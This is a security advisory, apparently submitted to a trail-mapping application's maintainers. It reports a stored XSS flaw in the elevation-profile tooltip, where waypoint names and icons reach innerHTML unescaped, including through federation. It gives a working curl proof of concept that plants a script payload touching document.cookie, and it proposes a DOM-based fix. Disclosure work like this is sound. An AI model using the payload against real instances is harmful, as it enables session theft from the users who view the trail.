Summary

The elevation profile chart injects waypoint.name and waypoint.icon directly into a template literal assigned to innerHTML without escaping, providing a second independent XSS sink reachable via the trail elevation graph and via federation.

Details

web/src/lib/vendor/maplibre-elevation-profile/elevationprofile.ts line 710:

wpDiv.innerHTML = `<div class="tooltip" data-title="${this.waypoints[index]?.name ?? "?"}"><i class="fa fa-${this.waypoints.at(index)?.icon ?? 'circle'}"></i></div>`

Both fields are interpolated without HTML encoding. A name of "><script>alert(1)</script><div data-title=" closes the attribute and injects script. The server SanitizeHTML hook sanitizes only waypoints.description. Federated waypoints synced via syncWaypoints() (remote_trail.go) are processed without sanitization, enabling cross-instance exploitation.

PoC

curl -s -X POST 'https://target/api/collections/waypoints/records' \
  -H 'Authorization: Bearer <TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{"trail":"<TRAIL_ID>","lat":48.0,"lon":11.0,"name":"\"><script>alert(document.cookie)<\/script><div data-title=\"x","icon":"circle"}'
# Any user viewing the trail elevation profile triggers the XSS

Impact

Stored XSS executed for every user who views the trail's elevation profile. The federation attack path allows cross-instance exploitation without a local account.

Fix

Replace the innerHTML template literal with safe DOM construction using textContent for name and an icon allowlist:

const tooltipDiv = document.createElement('div');
tooltipDiv.dataset.title = waypoint.name ?? '?';
const safeIcon = ALLOWED_ICONS.includes(waypoint.icon) ? waypoint.icon : 'circle';

Also add 'name' and 'icon' to server-side sanitization in util/sanitize.go.

If possible, please apply for a CVE number when publishing. I would greatly appreciate it.